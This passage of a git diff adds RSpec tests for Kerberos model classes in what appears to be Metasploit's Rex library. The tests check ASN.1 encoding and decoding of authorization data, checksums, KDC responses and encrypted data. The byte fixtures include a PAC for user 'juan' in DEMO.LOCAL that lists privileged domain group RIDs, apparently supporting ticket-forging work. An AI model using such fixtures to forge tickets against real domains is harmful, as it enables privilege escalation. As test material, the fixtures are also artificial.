"\x00\x00\x05\x00\x00\x00\x1c\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x02\x00\x14\x00" + + "\x14\x00\x24\x00\x02\x00\x28\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x02" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00" + + "\x00\x00\x6a\x00\x75\x00\x61\x00\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x02\x00\x00\x07\x00" + + "\x00\x00\x00\x02\x00\x00\x07\x00\x00\x00\x08\x02\x00\x00\x07\x00\x00\x00\x06\x02" + + "\x00\x00\x07\x00\x00\x00\x07\x02\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x44\x00" + + "\x45\x00\x4d\x00\x4f\x00\x2e\x00\x4c\x00\x4f\x00\x43\x00\x41\x00\x4c\x00\x04\x00" + + "\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x03\x99\xa8\x68\xe0\x0e" + + "\x0e\xd9\x9a\x18\xcf\xcf\x80\xf1\xe2\x69\xb5\x19\xd0\x01\x08\x00\x6a\x00\x75\x00" + + "\x61\x00\x6e\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x8b\x24\x4d\x60\xa5\x27" + + "\x9e\x8f\x5f\x9b\xb6\x2e\xf1\x1e\xf3\xc6\x00\x00\x00\x00\x07\x00\x00\x00\xf3\x94" + + "\x26\xc3\x09\x48\xd6\xc8\x79\x4a\x37\xed\xef\x09\xaa\xfd\x00\x00\x00\x00" + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007fef109931d8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fef10993228 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fef10993390 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fef109933b8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fef10993408>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fef10993250 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007fef109932c8 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "0\x82\x02R0\x82\x02N\xA0\x04\x02\x02\x00\x80\xA1\x82\x02D\x04\x82\x02@\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xB0\x01\x00\x00H\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x12\x00\x00\x00\xF8\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\a\x00\x00\x00\x14\x00\x00\x00(\x02\x00\x00\x00\x00\x00\x00\x01\x10\b\x00\xCC\xCC\xCC\xCC\xA0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x80\xF1\xE2i\xB5\x19\xD0\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\b\x00\b\x00\x04\x00\x02\x00\x00\x00\x00\x00\b\x00\x02\x00\x00\x00\x00\x00\f\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x1C\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x02\x00\x14\x00\x14\x00$\x00\x02\x00(\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00j\x00u\x00a\x00n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x02\x00\x00\a\x00\x00\x00\x00\x02\x00\x00\a\x00\x00\x00\b\x02\x00\x00\a\x00\x00\x00\x06\x02\x00\x00\a\x00\x00\x00\a\x02\x00\x00\a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00D\x00E\x00M\x00O\x00.\x00L\x00O\x00C\x00A\x00L\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x03\x99\xA8h\xE0\x0E\x0E\xD9\x9A\x18\xCF\xCF\x80\xF1\xE2i\xB5\x19\xD0\x01\b\x00j\x00u\x00a\x00n\x00\x00\x00\x00\x00\x00\x00\a\x00\x00\x00\x8B$M`\xA5'\x9E\x8F_\x9B\xB6.\xF1\x1E\xF3\xC6\x00\x00\x00\x00\a\x00\x00\x00\xF3\x94&\xC3\tH\xD6\xC8yJ7\xED\xEF\t\xAA\xFD\x00\x00\x00\x00">]>]>]> +=end + let(:nested) do + "\x30\x82\x02\x67\x30\x82\x02\x63\xa0\x03\x02\x01\x01\xa1\x82\x02\x5a\x04\x82\x02" + + "\x56\x30\x82\x02\x52\x30\x82\x02\x4e\xa0\x04\x02\x02\x00\x80\xa1\x82\x02\x44\x04" + + "\x82\x02\x40\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb0\x01\x00\x00\x48" + + "\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x12\x00\x00\x00\xf8\x01\x00\x00\x00" + + "\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\x07" + + "\x00\x00\x00\x14\x00\x00\x00\x28\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc" + + "\xcc\xcc\xcc\xa0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x80\xf1\xe2\x69\xb5" + + "\x19\xd0\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff\xff\xff\xff\x7f\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff" + + "\xff\xff\x7f\x08\x00\x08\x00\x04\x00\x02\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00" + + "\x00\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x14" + + "\x00\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x01" + + "\x02\x00\x00\x05\x00\x00\x00\x1c\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x02\x00\x14" + + "\x00\x14\x00\x24\x00\x02\x00\x28\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10" + + "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04" + + "\x00\x00\x00\x6a\x00\x75\x00\x61\x00\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x02\x00\x00\x07" + + "\x00\x00\x00\x00\x02\x00\x00\x07\x00\x00\x00\x08\x02\x00\x00\x07\x00\x00\x00\x06" + + "\x02\x00\x00\x07\x00\x00\x00\x07\x02\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x44" + + "\x00\x45\x00\x4d\x00\x4f\x00\x2e\x00\x4c\x00\x4f\x00\x43\x00\x41\x00\x4c\x00\x04" + + "\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x03\x99\xa8\x68\xe0" + + "\x0e\x0e\xd9\x9a\x18\xcf\xcf\x80\xf1\xe2\x69\xb5\x19\xd0\x01\x08\x00\x6a\x00\x75" + + "\x00\x61\x00\x6e\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x8b\x24\x4d\x60\xa5" + + "\x27\x9e\x8f\x5f\x9b\xb6\x2e\xf1\x1e\xf3\xc6\x00\x00\x00\x00\x07\x00\x00\x00\xf3" + + "\x94\x26\xc3\x09\x48\xd6\xc8\x79\x4a\x37\xed\xef\x09\xaa\xfd\x00\x00\x00\x00" + end + + describe "#encode" do + context "when simple Authorization Data" do + it "encodes Authorization Data correctly" do + authorization_data.elements = [{:type => pac_type_id, :data => pac_data}] + + expect(authorization_data.encode).to eq(simple) + end + end + + context "when nested Authorization Data" do + it "encodes Authorization Data correctly" do + nested_auth_data = described_class.new(elements: [{:type => pac_type_id, :data => pac_data}]) + authorization_data.elements = [{:type => ad_if_relevant, :data => nested_auth_data.encode}] + + expect(authorization_data.encode).to eq(nested) + end + end + end + +end diff --git a/spec/lib/rex/proto/kerberos/model/checksum_spec.rb b/spec/lib/rex/proto/kerberos/model/checksum_spec.rb new file mode 100644 index 0000000000..6f0fd93923 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/checksum_spec.rb @@ -0,0 +1,26 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::Checksum do + + subject(:checksum) do + described_class.new + end + + let(:sample) do + "\x30\x19\xa0\x03\x02\x01\x07\xa1\x12\x04\x10\x9e\xf0\x84\xd6\x81" + + "\xe5\x16\x02\x32\xb1\xc3\x4e\xad\x83\x1d\x43" + end + + let(:rsa_md5) { Rex::Proto::Kerberos::Crypto::RSA_MD5 } + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::Model::Checksum correctly" do + checksum.type = rsa_md5 + checksum.checksum = "\x9e\xf0\x84\xd6\x81\xe5\x16\x02\x32\xb1\xc3\x4e\xad\x83\x1d\x43" + expect(checksum.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb b/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb new file mode 100644 index 0000000000..f7899b215b --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb @@ -0,0 +1,310 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::EncKdcResponse do + + subject(:enc_kdc_response) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007fb7f059e020 + @infinite_length=false, + @tag=25, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb7f059e048 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb7f059f308 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb7f059f330 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb7f059f420 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb7f059f448 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb7f059f4c0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059f358 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007fb7f059f380 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="\xCAZJb\x9F\xE5r\xC3\xDB\xD3\xBE\xAC^\xC6j\xC7">]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059efe8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb7f059f010 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb7f059f038 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb7f059f1c8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb7f059f1f0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb7f059f218>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059f060 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007fb7f059f088 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2014-12-09 01:09:09 UTC>]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059ef20 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb7f059ef48 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb7f059ef70>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059ede0 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007fb7f059ee08 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2015-01-05 16:08:29 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059ed40 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::BitString:0x007fb7f059ed68 + @infinite_length=false, + @tag=3, + @tag_class=:UNIVERSAL, + @tagging=nil, + @unused_bits=0, + @value="P\xE0\x00\x00">]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059ec00 + @infinite_length=false, + @tag=5, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007fb7f059ec28 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2014-12-09 01:09:09 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059eac0 + @infinite_length=false, + @tag=6, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007fb7f059eae8 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2014-12-09 01:09:09 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059e8e0 + @infinite_length=false, + @tag=7, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007fb7f059e908 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2014-12-09 11:09:09 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059e728 + @infinite_length=false, + @tag=8, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007fb7f059e778 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=2014-12-16 01:09:09 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059e638 + @infinite_length=false, + @tag=9, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fb7f059e660 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059e070 + @infinite_length=false, + @tag=10, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb7f059e250 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fb7f059e480 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fb7f059e4a8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fb7f059e4d0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fb7f059e2c8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fb7f059e2f0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fb7f059e390 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007fb7f059e340 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>]>]> +=end + let(:enc_as_resp) do + "\x79\x81\xdd\x30\x81\xda\xa0\x1b\x30\x19\xa0\x03\x02\x01\x17\xa1" + + "\x12\x04\x10\xca\x5a\x4a\x62\x9f\xe5\x72\xc3\xdb\xd3\xbe\xac\x5e" + + "\xc6\x6a\xc7\xa1\x1c\x30\x1a\x30\x18\xa0\x03\x02\x01\x00\xa1\x11" + + "\x18\x0f\x32\x30\x31\x34\x31\x32\x30\x39\x30\x31\x30\x39\x30\x39" + + "\x5a\xa2\x06\x02\x04\x18\xf4\x10\x2c\xa3\x11\x18\x0f\x32\x30\x31" + + "\x35\x30\x31\x30\x35\x31\x36\x30\x38\x32\x39\x5a\xa4\x07\x03\x05" + + "\x00\x50\xe0\x00\x00\xa5\x11\x18\x0f\x32\x30\x31\x34\x31\x32\x30" + + "\x39\x30\x31\x30\x39\x30\x39\x5a\xa6\x11\x18\x0f\x32\x30\x31\x34" + + "\x31\x32\x30\x39\x30\x31\x30\x39\x30\x39\x5a\xa7\x11\x18\x0f\x32" + + "\x30\x31\x34\x31\x32\x30\x39\x31\x31\x30\x39\x30\x39\x5a\xa8\x11" + + "\x18\x0f\x32\x30\x31\x34\x31\x32\x31\x36\x30\x31\x30\x39\x30\x39" + + "\x5a\xa9\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xaa" + + "\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b\x06\x6b\x72" + + "\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + end + + describe "#decode" do + context "when AS Response Encrypted Part" do + it "returns the Rex::Proto::Kerberos::Model::EncKdcResponse decoded" do + expect(enc_kdc_response.decode(enc_as_resp)).to eq(enc_kdc_response) + end + + it "decodes the key correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.key.type).to eq(Rex::Proto::Kerberos::Crypto::RC4_HMAC) + end + + it "decodes the last_req correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.last_req[0].value.to_s).to eq('2014-12-09 01:09:09 UTC') + end + + it "decodes the nonce correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.nonce).to eq(418648108) + end + + it "decodes the key_expiration correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.key_expiration.to_s).to eq('2015-01-05 16:08:29 UTC') + end + + it "decodes the flags correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.flags).to eq(0) + end + + it "decodes the auth_time correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.auth_time.to_s).to eq('2014-12-09 01:09:09 UTC') + end + + it "decodes the start_time correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.start_time.to_s).to eq('2014-12-09 01:09:09 UTC') + end + + it "decodes the end_time correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.end_time.to_s).to eq('2014-12-09 11:09:09 UTC') + end + + it "decodes the renew_till correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.renew_till.to_s).to eq('2014-12-16 01:09:09 UTC') + end + + it "decodes the srealm correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.srealm).to eq('DEMO.LOCAL') + end + + it "decodes the sname correctly" do + enc_kdc_response.decode(enc_as_resp) + expect(enc_kdc_response.sname.name_string).to eq(['krbtgt', 'DEMO.LOCAL']) + end + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb b/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb new file mode 100644 index 0000000000..18e65096ac --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb @@ -0,0 +1,192 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'openssl' +require 'rex/text' +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::EncryptedData do + + subject(:encrypted_data) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c18b2de8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c18b34f0 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c18b3540 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c18b35e0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c18b2f00 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c18b3158 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "\x8A0\x9D|\xA7\xE4\"6\rD\xF5\xD1:\x00\x8B7nR \xBC\xEA\x8Bpf\xC0\x90\xC4('1\xCF\x16,| |\xAA<\xE0\xC7j\xFB\xB9A\xB2\xD9\xA2\xD8Y\x92\xB5\x82\x17\x8A\x93VQ\x97\xF9\xAD\x1D\xC6\xC6\xBC\xA0D\x9B\xC5\xC1\xD81\xF1\x94\x887\v\xA5\xAFQ\xB0=\x9Am\xC0\xB2\xF1 3\xB7\x87z\xCF\xF7\xDE\xA0\x8B\x83\xAEvq8}BM\xDE\n\x03\xBE\xB7\x1C\xF4\x8C\x84\x165.`\xC4\x83\x17q\xE7\x00#\xFB\xA1\x01\xD3\xDA\xE0\x7F\xCD\x04=S\x85Nr\tc\xF4\x06\xD8Q\x15\xAB\x15\xECO\x80\xC5\xF3\xE2\x8A\x7F\x97\x0Fq\xED\f\xE9\x9F\x19\x14k=\x94J\xAE>\xB8\x1A3\xC4V\xCF6\xF8V\n\xE9\xAF\\\xB5B@r\xDE\xD5\x957\xA0\xE5\x93\xC32\xEF\x82\n\x0F\x1E\nu \xB6\x8D\xFC\xE2\xCE\xB3\x87\xDF\xA5\x04g\xF40\x1A\n\x198FZXF\xF44\xBA\xDBFN\xC4\xCC\xAA\xBC$\x85\xA5$\x84\x96\xA4uCF\x7F\x11\xCEG\x9F\xFA\x84\xCE\xB65\xCD\x95\x1E\x1D\x03\x88\x1D\xE3:S\x9B\xA5\e\x97\x83\xCF\xB3\x9E\x88\b\x86mH\x98\xEC\x8D\x83B\xAE\xC9\x92V\xD5\xA9\x90\x03G\xB8\xD7\x81\xF4n\x1Ems\x8A:\xC6\x0F\xB18\x99O\x06\x04\x11}\xA394\xA9\x9E\x8EH\xCCd\xF33<\v\x88>B\xF8t>\x92hg&\xEBF\xAA\xC81wK\xB1W\xEFI\xD3\x98\xF5S\xC0X\x19&\xB7\e\x8C\x17w\xBC\xE0 \xE9\x80\b\xE5\x92'rS \t\xC69\x02\x97K\nT\x8C-\f\xBDe\x9CaT\xEF\x90m\xC6Vb\xC8\x04\xD7k#\xD1\xB0\xC7\xE7\xE56\x96\x05\xF9F\x01\xC1\xAC\f\x96\x84\xAAl\x84X\xDE\xAD\xE72\x85,\xFD'\x1A\xDC9`\xBC^\r~\x1De\x7F!\xFA\xCD\xC30\xB3\xEE\x00\xC9\xF8\x1E\x0F\xB5g\x87\xA0\xAFF\xE3U\xFF\f\fc\x8E\xDB\xD9\x11\x9C\x17Z\x87\xB0\xF2QVb\x7F~dS\xAF\x04w\xFB\xEC\xA7\x96\x98\x93\x96\x109r\xF0D\xFAf\x7F\x00\xE0\xE9\x9F6\xBC\x81\x87.\xFBm\xC0\x9BR\xB2\x19\xA5\xBF\x8C\x0F3\x19\vA\xCE\xF5oo\xD7+\x04\xE0\xA7\xAD@2\x8D\xF3\xBE\x13\xC7\xC6!\xED#\x10\xC5\x1A\x9F\x82\x99b7q\xE4\xB8i\n\xA8\x88\xEB\xCB\xC0\x1C\xDFToLC\x90\x12\xCF)\xB0\xF1\xC9\xFDK^D\b%\x8DdE>\xBC~\xB1g\x80\xC39\x1E\xE8\xBF\xE0\x90p\xF8\x00\xCF\x18)\xABr\x01\fC\x02\v\x81{\x1A\xAC\xF5%3S\x86\xF5%\xEF\x7F\x1D\x1D\x05?\x128J?\x98\x03\xC8\x9F\xF3\x9B\x87\x80\xB2O\xCD==X\xB5">]>]> +=end + let(:sample_enc_data) do + "\x30\x82\x02\x90\xa0\x03\x02\x01\x17\xa2\x82\x02\x87\x04\x82\x02" + + "\x83\x8a\x30\x9d\x7c\xa7\xe4\x22\x36\x0d\x44\xf5\xd1\x3a\x00\x8b" + + "\x37\x6e\x52\x20\xbc\xea\x8b\x70\x66\xc0\x90\xc4\x28\x27\x31\xcf" + + "\x16\x2c\x7c\x20\x7c\xaa\x3c\xe0\xc7\x6a\xfb\xb9\x41\xb2\xd9\xa2" + + "\xd8\x59\x92\xb5\x82\x17\x8a\x93\x56\x51\x97\xf9\xad\x1d\xc6\xc6" + + "\xbc\xa0\x44\x9b\xc5\xc1\xd8\x31\xf1\x94\x88\x37\x0b\xa5\xaf\x51" + + "\xb0\x3d\x9a\x6d\xc0\xb2\xf1\x20\x33\xb7\x87\x7a\xcf\xf7\xde\xa0" + + "\x8b\x83\xae\x76\x71\x38\x7d\x42\x4d\xde\x0a\x03\xbe\xb7\x1c\xf4" + + "\x8c\x84\x16\x35\x2e\x60\xc4\x83\x17\x71\xe7\x00\x23\xfb\xa1\x01" + + "\xd3\xda\xe0\x7f\xcd\x04\x3d\x53\x85\x4e\x72\x09\x63\xf4\x06\xd8" + + "\x51\x15\xab\x15\xec\x4f\x80\xc5\xf3\xe2\x8a\x7f\x97\x0f\x71\xed" + + "\x0c\xe9\x9f\x19\x14\x6b\x3d\x94\x4a\xae\x3e\xb8\x1a\x33\xc4\x56" + + 